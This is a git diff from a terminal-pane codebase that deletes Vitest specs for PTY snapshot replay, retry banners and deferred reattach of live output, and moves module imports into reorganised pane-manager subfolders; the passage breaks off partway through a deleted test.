-    for (let expectedRequests = 2; expectedRequests <= 30; expectedRequests += 1) {
-      await advanceModernRetryProbe()
-      expect(serializeBufferOutcome).toHaveBeenCalledTimes(expectedRequests)
-      expect(drive.writtenChunks().join('').includes(BANNER_FRAGMENT)).toBe(expectedRequests === 30)
-    }
-    await vi.advanceTimersByTimeAsync(60_000)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(30)
-    expect(drive.writtenChunks().filter((data) => data.includes(BANNER_FRAGMENT))).toHaveLength(1)
-    drive.disposable.dispose()
-  })
-
-  it('[modern] banners immediately on permanent unavailability without retrying', async () => {
-    const serializeBuffer = vi.fn()
-    const serializeBufferOutcome = vi.fn().mockResolvedValue({
-      availability: {
-        kind: 'permanently-unavailable',
-        reason: 'exceeds-client-replay-limit'
-      },
-      snapshot: null
-    })
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    vi.useFakeTimers()
-    driveHiddenBacklogThenReveal(drive)
-    await flushAsyncTicks(20)
-
-    await vi.advanceTimersByTimeAsync(0)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    expect(drive.writtenChunks().filter((data) => data.includes(BANNER_FRAGMENT))).toHaveLength(1)
-    await vi.advanceTimersByTimeAsync(60_000)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    expect(serializeBuffer).not.toHaveBeenCalled()
-    drive.disposable.dispose()
-  })
-
-  it('[modern] cancels a live flood repaint when it declares the output unrecoverable', async () => {
-    const serializeBuffer = vi.fn()
-    const serializeBufferOutcome = vi
-      .fn()
-      .mockResolvedValueOnce({
-        availability: { kind: 'retry-worthy', cause: 'host-no-serializable-buffer' },
-        snapshot: null
-      })
-      .mockResolvedValue({
-        availability: { kind: 'permanently-unavailable', reason: 'exceeds-client-replay-limit' },
-        snapshot: null
-      })
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    vi.useFakeTimers()
-    driveHiddenBacklogThenReveal(drive)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-
-    // Interrupt a scheduled quiet repaint with an unpause retry that proves permanent unavailability.
-    await vi.advanceTimersByTimeAsync(1_000)
-    drive.setOutputPaused(true)
-    drive.setOutputPaused(false)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(2)
-    expect(drive.writtenChunks().filter((data) => data.includes(BANNER_FRAGMENT))).toHaveLength(1)
-
-    // The still-armed repaint must not resurrect recovery the pane already declared dead.
-    await vi.advanceTimersByTimeAsync(60_000)
-    await flushAsyncTicks(20)
-    expect(drive.writtenChunks().filter((data) => data.includes(BANNER_FRAGMENT))).toHaveLength(1)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(2)
-    drive.disposable.dispose()
-  })
-
-  it('[legacy] switches an explicit unknown-host answer to the existing four-request heuristic', async () => {
-    const serializeBuffer = vi.fn().mockResolvedValue(null)
-    const serializeBufferOutcome = vi.fn().mockResolvedValue({
-      availability: { kind: 'unknown-legacy-host' },
-      snapshot: null
-    })
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    vi.useFakeTimers()
-    driveHiddenBacklogThenReveal(drive)
-    await flushAsyncTicks(20)
-
-    await advanceThroughNullRetryBudget(drive)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    expect(serializeBuffer).toHaveBeenCalledTimes(3)
-    expect(drive.writtenChunks().join('')).toContain(LIVE_AGENT_CHUNK)
-    expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-    drive.disposable.dispose()
-  })
-
-  it('[modern] parks retry repaint while scrolled back and resumes when following output', async () => {
-    const { markTerminalFollowOutput, markTerminalPinnedViewport } =
-      await import('@/lib/pane-manager/terminal-scroll-intent')
-    const serializeBuffer = vi.fn()
-    const serializeBufferOutcome = vi.fn().mockResolvedValue({
-      availability: { kind: 'retry-worthy', cause: 'request-already-in-flight' },
-      snapshot: null
-    })
-    const drive = await connectHiddenRemoteAgentPane(serializeBuffer, serializeBufferOutcome)
-    drive.pane.terminal.buffer.active.baseY = 100
-    drive.pane.terminal.buffer.active.viewportY = 42
-    markTerminalPinnedViewport(drive.pane.terminal)
-    vi.useFakeTimers()
-    driveHiddenBacklogThenReveal(drive)
-    await flushAsyncTicks(20)
-
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    await vi.advanceTimersByTimeAsync(60_000)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    expect(drive.pane.terminal.buffer.active.viewportY).toBe(42)
-
-    drive.pane.terminal.buffer.active.viewportY = drive.pane.terminal.buffer.active.baseY
-    markTerminalFollowOutput(drive.pane.terminal)
-    await flushAsyncTicks(20)
-    expect(serializeBufferOutcome).toHaveBeenCalledTimes(2)
-    drive.disposable.dispose()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output/foreground-output-refresh.ts b/src/renderer/src/components/terminal-pane/pty-connection/output/foreground-output-refresh.ts
index d0923146f85..32f2bc9df1b 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output/foreground-output-refresh.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output/foreground-output-refresh.ts
@@ -6,10 +6,10 @@ import {
   terminalRewriteOutputRenderRefreshDecision,
   terminalRewriteOutputPrefersRenderRefresh,
   windowsEastAsianOutputPrefersRenderRefresh
-} from '@/lib/pane-manager/terminal-complex-script'
+} from '@/lib/pane-manager/terminal-rendering/terminal-complex-script'
 import { RESET_AFTER_BYTE_GAP } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
-import { recordTerminalOutput } from '@/lib/pane-manager/pane-scroll'
-import { ensureArabicShapingJoinerForText } from '@/lib/pane-manager/terminal-arabic-shaping-joiner'
+import { recordTerminalOutput } from '@/lib/pane-manager/terminal-scroll/pane-scroll'
+import { ensureArabicShapingJoinerForText } from '@/lib/pane-manager/terminal-rendering/terminal-arabic-shaping-joiner'
 import { registerPtyModelRestoreNeededHandler } from '../../pty-transport/delivery/pty-model-restore-channel'
 import type { PtyModelRestoreNeededEvent } from '../../../../../../shared/terminal/replay/pty-model-restore-marker'
 import {
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output/fresh-spawn-follow-reset.ts b/src/renderer/src/components/terminal-pane/pty-connection/output/fresh-spawn-follow-reset.ts
index 41213984226..7239d954bea 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output/fresh-spawn-follow-reset.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output/fresh-spawn-follow-reset.ts
@@ -1,5 +1,5 @@
 import { replayIntoTerminal, replayIntoTerminalAsync } from '../../snapshots/replay-guard'
-import { terminalOutputPrefersRenderRefresh } from '@/lib/pane-manager/terminal-complex-script'
+import { terminalOutputPrefersRenderRefresh } from '@/lib/pane-manager/terminal-rendering/terminal-complex-script'
 import {
   buildPostReplayLiveAgentReattachReset,
   POST_REPLAY_DEAD_TUI_RESET,
@@ -9,12 +9,12 @@ import {
   buildKittyKeyboardRestore
 } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
 import { buildFreshShellViewportBlankingSequence } from '../../../../../../shared/terminal/viewport/terminal-fresh-shell-viewport'
-import { flushTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
+import { flushTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 import {
   getTerminalScrollIntentKind,
   markTerminalFollowOutput
-} from '@/lib/pane-manager/terminal-scroll-intent'
-import { deferTerminalGeometryMutationDuringRebuild } from '@/lib/pane-manager/terminal-scroll-intent-rebuild'
+} from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent'
+import { deferTerminalGeometryMutationDuringRebuild } from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent-rebuild'
 
 import type { FreshSpawnOptions } from '../startup/fresh-spawn-types'
 
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output/live-data-callback.ts b/src/renderer/src/components/terminal-pane/pty-connection/output/live-data-callback.ts
index c858c1fff49..b425327b47d 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output/live-data-callback.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output/live-data-callback.ts
@@ -1,6 +1,6 @@
 import { makePaneKey } from '../../../../../../shared/workspace-layout/stable-pane-id'
 import { useAppStore } from '@/store/index'
-import { takeCurrentTerminalDeliveryCredit } from '@/lib/pane-manager/terminal-delivery-credit'
+import { takeCurrentTerminalDeliveryCredit } from '@/lib/pane-manager/terminal-output/terminal-delivery-credit'
 import { recordAgentHibernationPaneOutput } from '@/lib/agent-session/hibernation/agent-hibernation-output-activity'
 import { observeTerminalBracketedPasteModeOutput } from '../../input/paste/terminal-bracketed-paste'
 import type { PtyDataMeta } from '../../pty-transport/delivery/pty-dispatcher'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output/live-terminal-buffer.ts b/src/renderer/src/components/terminal-pane/pty-connection/output/live-terminal-buffer.ts
index 854a14fd3ed..db13ac2f7de 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output/live-terminal-buffer.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output/live-terminal-buffer.ts
@@ -1,4 +1,4 @@
-import { installTerminalLiveScrollbackRestore } from '@/lib/pane-manager/terminal-live-scrollback-restore'
+import { installTerminalLiveScrollbackRestore } from '@/lib/pane-manager/terminal-scroll/terminal-live-scrollback-restore'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 
 export function bindLiveTerminalBuffer(session: ConnectPanePtySession): void {
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output/reattach-live-data-deferral.ts b/src/renderer/src/components/terminal-pane/pty-connection/output/reattach-live-data-deferral.ts
index 1cf49ea84eb..f10d75aa3f4 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output/reattach-live-data-deferral.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output/reattach-live-data-deferral.ts
@@ -1,7 +1,7 @@
-import { deliverTerminalDataWithDeferredCredit } from '@/lib/pane-manager/terminal-delivery-credit'
+import { deliverTerminalDataWithDeferredCredit } from '@/lib/pane-manager/terminal-output/terminal-delivery-credit'
 import { waitForTerminalReplayWritesParsed } from '../../snapshots/replay-guard'
-import { flushTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
-import { enforceTerminalCurrentScrollIntent } from '@/lib/pane-manager/terminal-scroll-intent'
+import { flushTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
+import { enforceTerminalCurrentScrollIntent } from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent'
 import {
   MAX_DEFERRED_REATTACH_LIVE_CHARS,
   DeferredReattachLiveDataQueue
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output/replay-data-drain.ts b/src/renderer/src/components/terminal-pane/pty-connection/output/replay-data-drain.ts
index 60d4e7fb19c..8747bc2c828 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output/replay-data-drain.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output/replay-data-drain.ts
@@ -1,7 +1,7 @@
 import { RELEASE_SYNCHRONIZED_OUTPUT } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
-import { waitForTerminalOutputParsed } from '@/lib/pane-manager/pane-terminal-output-scheduler'
-import { safeFit, safeFitAndThen } from '@/lib/pane-manager/pane-fit'
-import { getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
+import { waitForTerminalOutputParsed } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
+import { safeFit, safeFitAndThen } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import { getFitOverrideForPty } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 
 import {
   buildFoldedImageReplayWrites,
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output/write-pty-output-to-xterm.ts b/src/renderer/src/components/terminal-pane/pty-connection/output/write-pty-output-to-xterm.ts
index b4a3bade7b4..975fc0821d8 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output/write-pty-output-to-xterm.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output/write-pty-output-to-xterm.ts
@@ -1,9 +1,9 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import { streamDeliveryOf } from '../../pty-transport/delivery/terminal-stream-position'
-import { takeCurrentTerminalDeliveryCredit } from '@/lib/pane-manager/terminal-delivery-credit'
-import { nativeWindowsRewriteNeedsFollowupRenderRefresh } from '@/lib/pane-manager/terminal-complex-script'
-import { writeTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
-import { forceFullViewportPresent } from '@/lib/pane-manager/terminal-render-pause-release'
+import { takeCurrentTerminalDeliveryCredit } from '@/lib/pane-manager/terminal-output/terminal-delivery-credit'
+import { nativeWindowsRewriteNeedsFollowupRenderRefresh } from '@/lib/pane-manager/terminal-rendering/terminal-complex-script'
+import { writeTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
+import { forceFullViewportPresent } from '@/lib/pane-manager/terminal-rendering/terminal-render-pause-release'
 import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace'
 
 import { FOREGROUND_SYNCHRONIZED_FRAME_INTERACTIVE_WINDOW_MS } from './foreground-output-budgets'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/pane-pty-binding.ts b/src/renderer/src/components/terminal-pane/pty-connection/pane-pty-binding.ts
index 36ddc494243..4caa88cfe88 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/pane-pty-binding.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/pane-pty-binding.ts
@@ -4,9 +4,9 @@ import type { HasPty } from './lifecycle/terminal-dead-session-reconcile'
 import { useAppStore } from '@/store'
 import { consumeRestartReplacement } from './spawn/restart-replacement-on-show'
 import { shouldReconcileMissingSession } from './lifecycle/terminal-dead-session-reconcile'
-import { cancelPendingSafeFitContinuations } from '@/lib/pane-manager/pane-fit-continuation-registry'
-import { PANE_PTY_RESIZE_HOLD_FLUSH_EVENT } from '@/lib/pane-manager/pane-pty-resize-hold'
-import { discardTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-queue-registry'
+import { cancelPendingSafeFitContinuations } from '@/lib/pane-manager/terminal-fit/pane-fit-continuation-registry'
+import { PANE_PTY_RESIZE_HOLD_FLUSH_EVENT } from '@/lib/pane-manager/pane-layout/pane-pty-resize-hold'
+import { discardTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry'
 import '@/lib/agent-session/resume/sleeping-agent-pane-ownership'
 import { getProviderSessionClaimKey } from '../../../../../shared/sleeping-record-legacy-pane-key'
 import { releaseRendererPtyVisibilityClaim } from '../pty-transport/delivery/pty-renderer-delivery-claims'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/reattach/cursor-agent-reattach-screen.ts b/src/renderer/src/components/terminal-pane/pty-connection/reattach/cursor-agent-reattach-screen.ts
index 9cd3d7d74a1..4acb64bb456 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/reattach/cursor-agent-reattach-screen.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/reattach/cursor-agent-reattach-screen.ts
@@ -1,5 +1,5 @@
 import type { IBuffer } from '@xterm/xterm'
-import { resolveCursorAgentImeAnchor } from '@/lib/pane-manager/terminal-ime-anchor'
+import { resolveCursorAgentImeAnchor } from '@/lib/pane-manager/terminal-input/terminal-ime-anchor'
 import { CSI_SEQUENCE_PATTERN } from '../../../../../../shared/ansi-escape-sequences'
 
 export type TerminalWithFocusMode = {
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-daemon-snapshot-replay.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-daemon-snapshot-replay.spec.ts
deleted file mode 100644
index e393c306ddb..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-daemon-snapshot-replay.spec.ts
+++ /dev/null
@@ -1,278 +0,0 @@
-import { registerStaleDaemonSnapshotReplayTests } from './pty-connection-stale-daemon-snapshot-replay.spec'
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  POST_REPLAY_MODE_RESET,
-  POST_REPLAY_REATTACH_RESET,
-  RESET_GRAPHIC_RENDITION,
-  RELEASE_SYNCHRONIZED_OUTPUT
-} from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
-import { replayEpilogue } from '../test-fixtures/pty-connection-test-replay-epilogue'
-import { Terminal } from '@xterm/headless'
-import { flushAsyncTicks, writeHeadlessTerminal } from '../test-fixtures/pty-connection-test-async'
-import {
-  LEAF_1,
-  createMockTransport,
-  createPane,
-  captureCallbackTerminalWrites,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks as AgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-export function registerPtyConnectionDaemonSnapshotReplayTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  describe('connectPanePty', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      await restoreTerminalTestGlobals()
-    })
-
-    it('clears the captured pen for a normal-buffer fallback reattach', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks = await vi.importMock<AgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const transport = createMockTransport('tab-pty')
-      const snapshot = 'ORCA-SGR-REPRO \x1b[1mBOLD-RUN-LEFT-OPEN\x1b[1;34H'
-      transport.connect.mockImplementation(async ({ sessionId }: { sessionId?: string }) => {
-        if (sessionId) {
-          return { id: sessionId, snapshot }
-        }
-        return null
-      })
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: {
-          'wt-1': [{ id: 'tab-1', ptyId: 'tab-pty' }]
-        },
-        settings: {
-          ...mockStoreState.settings
-        }
-      } as StoreState
-
-      const pane = createPane(1)
-      const manager = createManager(1)
-      const deps = createDeps({
-        restoredLeafId: LEAF_1,
-        restoredPtyIdByLeafId: { [LEAF_1]: 'tab-pty' }
-      })
-
-      connectPanePty(
-        pane as never,
-        manager as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks)
-      )
-      await flushAsyncTicks(20)
-
-      expect(pane.terminal.write).toHaveBeenCalledWith(
-        `${RELEASE_SYNCHRONIZED_OUTPUT}${RESET_GRAPHIC_RENDITION}\x1b[2J\x1b[3J\x1b[H`,
-        expect.any(Function)
-      )
-      expect(pane.terminal.write).toHaveBeenCalledWith(
-        `${RESET_GRAPHIC_RENDITION}${snapshot}`,
-        expect.any(Function)
-      )
-      expect(pane.terminal.write).toHaveBeenCalledWith(
-        replayEpilogue(POST_REPLAY_REATTACH_RESET),
-        expect.any(Function)
-      )
-      expect(pane.terminal.write).not.toHaveBeenCalledWith(
-        replayEpilogue(POST_REPLAY_MODE_RESET, 0),
-        expect.any(Function)
-      )
-
-      const rendered = new Terminal({ cols: 40, rows: 6, allowProposedApi: true })
-      try {
-        await writeHeadlessTerminal(rendered, '\x1b[1;44mDIRTY')
-        for (const [data] of pane.terminal.write.mock.calls) {
-          if (data) {
-            await writeHeadlessTerminal(rendered, data)
-          }
-        }
-        await writeHeadlessTerminal(rendered, 'PLAIN')
-        const line = rendered.buffer.active.getLine(rendered.buffer.active.baseY)
-        const plainColumn = line?.translateToString(true).indexOf('PLAIN') ?? -1
-
-        expect(line?.getCell(plainColumn)?.isBold()).toBe(0)
-        expect(line?.getCell(plainColumn)?.getFgColor()).toBe(-1)
-        expect(line?.getCell(plainColumn)?.getBgColor()).toBe(-1)
-        expect(rendered.buffer.active.getLine(5)?.getCell(39)?.getBgColor()).toBe(-1)
-      } finally {
-        rendered.dispose()
-      }
-    })
-
-    it('waits for a recovered destination fit before forwarding its grid or live output', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks9 = await vi.importMock<AgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { safeFit } = await import('@/lib/pane-manager/pane-tree-ops')
-      const transport = createMockTransport('tab-pty')
-      let deliverLiveData = (_data: string): void => {}
-      transport.connect.mockImplementation(
-        async ({ sessionId, callbacks }: { sessionId?: string; callbacks?: ConnectCallbacks }) => {
-          if (callbacks?.onData) {
-            deliverLiveData = callbacks.onData
-          }
-          return sessionId
-            ? {
-                id: sessionId,
-                snapshot: 'source-grid snapshot',
-                snapshotCols: 80,
-                snapshotRows: 24
-              }
-            : null
-        }
-      )
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: 'tab-pty' }] }
-      } as StoreState
-      const pane = createPane(1)
-      pane.fitAddon.proposeDimensions = vi.fn(() => undefined) as never
-      const { parseCallbacks, writes } = captureCallbackTerminalWrites(pane)
-      const signalPty = window.api.pty.signal as unknown as ReturnType<typeof vi.fn>
-      const deps = createDeps({
-        restoredLeafId: LEAF_1,
-        restoredPtyIdByLeafId: { [LEAF_1]: 'tab-pty' }
-      })
-
-      connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks9)
-      )
-      await flushAsyncTicks(20)
-      transport.resize.mockClear()
-      signalPty.mockClear()
-      while (parseCallbacks.length > 0) {
-        parseCallbacks.shift()?.()
-        await flushAsyncTicks(2)
-      }
-      await flushAsyncTicks(8)
-
-      expect(transport.resize).not.toHaveBeenCalled()
-      expect(signalPty).not.toHaveBeenCalledWith('tab-pty', 'SIGWINCH')
-
-      deliverLiveData('live-after-snapshot')
-      await flushAsyncTicks(4)
-      expect(writes.join('')).not.toContain('live-after-snapshot')
-
-      pane.fitAddon.proposeDimensions = vi.fn(() => ({ cols: 120, rows: 40 })) as never
-      safeFit(pane as never)
-      await flushAsyncTicks(12)
-
-      expect(transport.resize).toHaveBeenCalledWith(120, 40)
-      expect(signalPty).toHaveBeenCalledWith('tab-pty', 'SIGWINCH')
-      expect(writes.join('')).toContain('live-after-snapshot')
-    })
-
-    it('suppresses the deferred reattach grid push when mobile claims the PTY while hidden', async () => {
-      // Recheck mobile takeover after the hidden pane gains a box; direct transport.resize bypasses the usual suppression.
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks11 = await vi.importMock<AgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { safeFit } = await import('@/lib/pane-manager/pane-tree-ops')
-      const { setFitOverride } = await import('@/lib/pane-manager/mobile-fit-overrides')
-      const transport = createMockTransport('tab-pty')
-      transport.connect.mockImplementation(async ({ sessionId }: { sessionId?: string }) =>
-        sessionId
-          ? {
-              id: sessionId,
-              snapshot: 'source-grid snapshot',
-              snapshotCols: 80,
-              snapshotRows: 24
-            }
-          : null
-      )
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: 'tab-pty' }] }
-      } as StoreState
-      const pane = createPane(1)
-      let xtermContainerDisplay = 'none'
-      const xtermContainer = new EventTarget() as HTMLElement
-      Object.defineProperty(xtermContainer, 'parentElement', { value: null })
-      Object.defineProperty(xtermContainer, 'ownerDocument', {
-        value: { defaultView: { getComputedStyle: () => ({ display: xtermContainerDisplay }) } }
-      })
-      ;(pane as { xtermContainer?: HTMLElement }).xtermContainer = xtermContainer
-      pane.fitAddon.proposeDimensions = vi.fn(() => undefined) as never
-      const signalPty = window.api.pty.signal as unknown as ReturnType<typeof vi.fn>
-      const deps = createDeps({
-        restoredLeafId: LEAF_1,
-        restoredPtyIdByLeafId: { [LEAF_1]: 'tab-pty' },
-        isVisibleRef: { current: false }
-      })
-
-      connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks11)
-      )
-      await flushAsyncTicks(20)
-      transport.resize.mockClear()
-      signalPty.mockClear()
-
-      try {
-        // Mobile takes the PTY while the pane is still hidden.
-        setFitOverride('tab-pty', 'mobile-fit', 49, 20)
-
-        xtermContainerDisplay = 'block'
-        ;(deps.isVisibleRef as { current: boolean }).current = true
-        pane.fitAddon.proposeDimensions = vi.fn(() => ({ cols: 120, rows: 40 })) as never
-        safeFit(pane as never)
-        await flushAsyncTicks(12)
-
-        expect(transport.resize).not.toHaveBeenCalledWith(120, 40)
-        expect(signalPty).not.toHaveBeenCalledWith('tab-pty', 'SIGWINCH')
-      } finally {
-        setFitOverride('tab-pty', 'desktop-fit', 0, 0)
-      }
-    })
-
-    registerStaleDaemonSnapshotReplayTests(() => ({ transportFactoryQueue, createDeps }))
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-deferred-reattach-live-output.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-deferred-reattach-live-output.spec.ts
deleted file mode 100644
index 9a87223add1..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-deferred-reattach-live-output.spec.ts
+++ /dev/null
@@ -1,256 +0,0 @@
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { RESET_GRAPHIC_RENDITION } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
-import { flushAsyncTicks } from '../test-fixtures/pty-connection-test-async'
-import {
-  terminalWriteText,
-  LEAF_1,
-  createMockTransport,
-  createPane,
-  captureCallbackTerminalWrites,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-export function registerPtyConnectionDeferredReattachLiveOutputTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  describe('connectPanePty', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      await restoreTerminalTestGlobals()
-    })
-
-    it.each([
-      { kind: 'covered backlog', snapshot: 'startup\r\n', seq: 9, count: 1 },
-      { kind: 'legacy unsequenced snapshot', snapshot: 'startup\r\n', seq: undefined, count: 2 },
-      { kind: 'blank snapshot', snapshot: '\x1b[2J', seq: 9, count: 1 }
-    ])(
-      'preserves output while reconciling $kind on daemon adoption',
-      async ({ snapshot, seq, count }) => {
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks3 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const transport = createMockTransport('tab-pty')
-        transport.connect.mockImplementation(
-          async ({
-            sessionId,
-            callbacks
-          }: {
-            sessionId?: string
-            callbacks?: ConnectCallbacks
-          }) => {
-            callbacks?.onData?.('startup\r\n', { seq: 9, rawLength: 9 })
-            callbacks?.onData?.('new output\r\n', { seq: 21, rawLength: 12 })
-            return { id: sessionId, snapshot, snapshotSeq: seq }
-          }
-        )
-        transportFactoryQueue.push(transport)
